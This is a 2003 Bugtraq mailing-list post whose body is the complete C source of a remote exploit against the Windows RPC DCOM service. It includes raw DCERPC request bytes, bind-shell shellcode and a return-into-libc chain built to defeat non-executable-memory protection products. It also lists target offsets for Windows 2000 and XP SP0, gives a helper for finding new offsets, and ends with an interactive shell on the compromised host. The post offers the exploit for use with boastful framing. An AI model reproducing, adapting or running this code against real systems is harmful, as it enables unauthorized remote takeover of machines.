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Message-ID: <20031107223755.4958.qmail@sf-www3-symnsj.securityfocus.com>
Date: 7 Nov 2003 22:37:55 -0000
From: Jack Trixter <trixterjack@...oo.com>
To: bugtraq@...urityfocus.com
Subject: rpc remote return-into-libc exploit
/*
* have you recently bought one of those expensive new windows security products
* on the market? do you think you now have strong protection?
* Look again:
*
* *rpc!exec*
* by ins1der (trixterjack@...oo.com)
*
* windows remote return into libc exploit!
*
* remote rpc exploit breaking non exec memory protection schemes
* tested against :
* OverflowGuard
* StackDefender (kernel32 imagebase randomization:O nice try guys.)
*
*
* currently breaking:
* Windows 2000 SP0 (english)
* Windows XP SP0 (english)
*
* to get new offsets use this:
* ------------------------------
* #include <windows.h>
* #include <stdio.h>
*
* int main()
* {
* HANDLE h1,h2;
* unsigned long addr1,addr2,addr3,addr4;
* h1=LoadLibrary("ntdll.dll");
* h2=LoadLibrary("MSVCRT.dll");
* addr1=(unsigned long)GetProcAddress(h1,"NtAllocateVirtualMemory");
* addr2=(unsigned long)GetProcAddress(h2,"memcpy");
* addr3=(unsigned long)GetProcAddress(h1,"NtProtectVirtualMemory");
* for (addr4=addr1;addr4<addr1+0xffff;addr4++)
* {
* if (!memcmp((void*)addr4,"\xc9\xc3",2)) break;
* }
* printf("0x%x 0x%x 0x%x 0x%x\n",addr1,addr2,addr3,addr4);
* return 0;
* }
* -----------------------------
* to get the last offset use a standard rpc dcom exploit with the last
* \x90\x90 before the shellcode replaced with \xcd\x21. run the exploit
* and read the drwatson logs. substract 0xA5 from the fault address.
*
*
* Shouts go to:
* w00pz, SpaceCow, Int3, lacroix, misu200, j00(xor),
* s0ny, crisis, and to all my true friends.
*
*
* Enjoy!
*
*/
#include <sys/socket.h>
#include <netinet/in.h>
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03,0x00,0x00,0xE5,0x00,0x00,0x00,
0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45,0x64,0x49,0xB0,0x70,0xDD,0xAE,
0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E,0x0D,0x00,0x00,0x00,0x00,0x00,
0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D,0xCE,0x11,0xA6,0x6A,0x00,0x20,
0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41,0x52,0x42,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0xA8,0xF4,0x0B,0x00,
0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,
0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,
0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29,0xCD,0x00,0x00,0x00,0x00,0x00,
0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x58,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x78,0x00,0x00,0x00,
0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09,0x02,0x00,0x00,0x00,0x00,0x00,
0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x19,0x0C,0x00,
0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,0x70,0xD8,0x98,0x93,
0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00,0x00,0x00,0x32,0x00,0x31,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,
0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03,0x00,0x00,0x00,0x00,0x00,0x00,
0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,
0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E,0xE9,0x4A,0x99,0x99,0xF1,0x8A,
0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00,0x00,0x00,0x78,0x00,0x6E,0x00,
0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00,0x58,0x00,0x00,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00,0x00,0x00,0x30,0x00,0x2E,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00,0x00,0x00,0x0E,0x00,0xFF,0xFF,
0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x5C,0x00,0x5C,0x00
};
unsigned char request3[]={
0x5C,0x00,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,
0x35,0x00,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,
0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,
0x31,0x00,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char request4[]={
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,
0x00,0x00,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x28,0x8C,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
struct offset
{
char *description;
unsigned long valloc;
unsigned long amemcpy;
unsigned long vprot;
unsigned long ret;
unsigned long frame;
};
struct offset targets[]=
{
{"Windows 2000 SP0 (english)",
0x77f95da9,
0x78001194,
0x77f82ffb,
0x77f96800,
0x52f770
}
,
{"Windows XP SP0 (english)",
0x77f7e4c3,
0x77c42e10,
0x77f7ec43,
0x77f80a07,
0x5bf79c
}
,
{NULL,0,0,0,0,0}
};
unsigned char shell[]=
"\x46\x00\x58\x00"
"\x4E\x00\x42\x00"
"\x46\x00\x58\x00"
"\x46\x00\x58\x00"
"\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xcc\xe0\xfd\x7f"
"\xcc\xe0\xfd\x7f"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x83\xec\x34\x8b\xf4\xe8\x47\x01\x00\x00\x89\x06\xff\x36\x68\x8e"
"\x4e\x0e\xec\xe8\x61\x01\x00\x00\x89\x46\x08\xff\x36\x68\xad\xd9"
"\x05\xce\xe8\x52\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00\x00\x68"
"\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89\x46\x04"
"\xff\x36\x68\x72\xfe\xb3\x16\xe8\x2d\x01\x00\x00\x89\x46\x10\xff"
"\x36\x68\xef\xce\xe0\x60\xe8\x1e\x01\x00\x00\x89\x46\x14\xff\x76"
"\x04\x68\xcb\xed\xfc\x3b\xe8\x0e\x01\x00\x00\x89\x46\x18\xff\x76"
"\x04\x68\xd9\x09\xf5\xad\xe8\xfe\x00\x00\x00\x89\x46\x1c\xff\x76"
"\x04\x68\xa4\x1a\x70\xc7\xe8\xee\x00\x00\x00\x89\x46\x20\xff\x76"
"\x04\x68\xa4\xad\x2e\xe9\xe8\xde\x00\x00\x00\x89\x46\x24\xff\x76"
"\x04\x68\xe5\x49\x86\x49\xe8\xce\x00\x00\x00\x89\x46\x28\xff\x76"
"\x04\x68\xe7\x79\xc6\x79\xe8\xbe\x00\x00\x00\x89\x46\x2c\x33\xff"
"\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x18\x50"
"\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x8b\xd8\x57\x57\x68\x02"
"\x00\x1c\x07\x8b\xcc\x6a\x16\x51\x53\xff\x56\x20\x57\x53\xff\x56"
"\x24\x57\x51\x53\xff\x56\x28\x8b\xd0\x68\x65\x78\x65\x00\x68\x63"
"\x6d\x64\x2e\x89\x66\x30\x83\xec\x54\x8d\x3c\x24\x33\xc0\x33\xc9"
"\x83\xc1\x15\xab\xe2\xfd\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d\x89"
"\x54\x24\x48\x89\x54\x24\x4c\x89\x54\x24\x50\x8d\x44\x24\x10\x54"
"\x50\x51\x51\x51\x6a\x01\x51\x51\xff\x76\x30\x51\xff\x56\x10\x8b"
"\xcc\x6a\xff\xff\x31\xff\x56\x0c\x8b\xc8\x57\xff\x56\x2c\xff\x56"
"\x14\x55\x56\x64\xa1\x30\x00\x00\x00\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09\x8b\x40\x34\x8b\xa8\xb8\x00"
"\x00\x00\x8b\xc5\x5e\x5d\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24"
"\x18\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5\x8b\x4a\x18\x8b\x5a\x20"
"\x03\xdd\xe3\x32\x49\x8b\x34\x8b\x03\xf5\x33\xff\xfc\x33\xc0\xac"
"\x3a\xc4\x74\x07\xc1\xcf\x0d\x03\xf8\xeb\xf2\x3b\x7c\x24\x14\x75"
"\xe1\x8b\x5a\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xeb\x02\x33\xc0\x8b\xd5\x5f\x5e\x5d\x5b\xc2\x04"
"\x00\x90\x90\x90\x80\xbf\x32\x94\x80\xbf\x32\x94";
struct frame1
{
unsigned long frame0;
unsigned long ret;
}fr1;
struct retstruct
{
unsigned long frame1;
unsigned long valloc;
unsigned long ret1;
unsigned long dummy1;
unsigned long pointer11;
unsigned long zero;
unsigned long pointer12;
unsigned long type;
unsigned long prot;
unsigned long frame2;
unsigned long amemcpy;
unsigned long ret2;
unsigned long dest;
unsigned long src;
unsigned long size2;
unsigned long frame3;
unsigned long vprot;
unsigned long ret3;
unsigned long dummy2;
unsigned long pointer21;
unsigned long pointer22;
unsigned long newprot;
unsigned long oldprot;
}rets;
void prepare_ret(int id)
{
rets.type=0x3000;
rets.prot=0x4;
rets.newprot=0x20;
rets.valloc=targets[id].valloc;
rets.amemcpy=targets[id].amemcpy;
rets.vprot=targets[id].vprot;
fr1.ret=rets.ret1=rets.ret2=targets[id].ret;
fr1.frame0=targets[id].frame;
rets.frame1=fr1.frame0+9*4;
rets.frame2=rets.frame1+6*4;
rets.oldprot=fr1.frame0;
rets.frame3=rets.frame1;
rets.size2=sizeof(shell);
rets.src=fr1.frame0;
rets.dest=0x55555000;
rets.ret3=0x5555506c;
rets.dummy1=rets.dummy2=0xffffffff;
rets.zero=0;
*(int*)(shell+148)=0x55555000;
*(int*)(shell+152)=sizeof(shell);
*(int*)(shell+140)=0x55555000;
*(int*)(shell+144)=sizeof(shell);
rets.pointer11=fr1.frame0+92;
rets.pointer12=fr1.frame0+96;
rets.pointer21=fr1.frame0+100;
rets.pointer22=fr1.frame0+104;
memcpy(shell+32,&fr1,sizeof(fr1));
memcpy(shell+48,&rets,sizeof(rets));
}
void entershell(int sock)
{
char buf[3000];
fd_set fdr;
int rs;
FD_ZERO(&fdr);
FD_SET(sock,&fdr);
FD_SET(0,&fdr);
for(;;)
{
FD_SET(sock, &fdr);
FD_SET(0, &fdr);
if(select(FD_SETSIZE,&fdr,NULL,NULL,NULL)<0) break;
if(FD_ISSET(sock, &fdr))
{
if((rs=read(sock,buf,sizeof(buf)))<0)
{
printf("connection lost\n");
return;
}
if(write(1,buf,rs)<0) break;
}
if(FD_ISSET(0,&fdr))
{
if((rs=read(0,buf,sizeof(buf)))<0)
{
printf("[-] Connection lost..\n");
exit(1);
}
if (write(sock,buf,rs) < 0) break;
}
usleep(100);
}
printf("connection closed\n");
return;
}
int main(int argc, char **argv)
{
int sock,i,len1;
struct sockaddr_in sin;
unsigned char buf1[0x1000],buf2[0x1000];
if(argc<3)
{
printf("###############################\n");
printf("return into libc rpc exploit\n");
printf("ins1der 2003\n");
printf("*****************************************\n");
printf("usage: %s <ip> <id>\n", argv[0]);
printf("*****************************************\n");
printf("targets:\n");
printf("-----------------------------------------\n");
for (i=0;targets[i].description!= NULL;i++)
{
printf("%d\t%s\n",i,targets[i].description);
}
printf("-----------------------------------------\n");
return 0;
}
printf("Exploiting %s...\n",argv[1]);
prepare_ret(atoi(argv[2]));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=inet_addr(argv[1]);
sin.sin_port=htons(135);
if ((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket ");
return 0;
}
if(connect(sock,(struct sockaddr*)&sin, sizeof(sin)))
{
perror("connect ");
return 0;
}
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(shell)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(shell)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,shell,sizeof(shell));
len1=len1+sizeof(shell);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(shell)-0xc;
if (send(sock,(char*)bindstr,sizeof(bindstr),0)==-1)
{
perror("send");
return 0;
}
recv(sock,(char*)buf1,1000,0);
if (send(sock,(char*)buf2,len1,0)== -1)
{
perror("send");
return 0;
}
close(sock);
sleep(1);
sin.sin_port = htons(7175);
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("socket");
return(0);
}
if(connect(sock,(struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
printf("Exploit failed\n");
return(0);
}
printf("Entering shell\n");
entershell(sock);
return 1;
}
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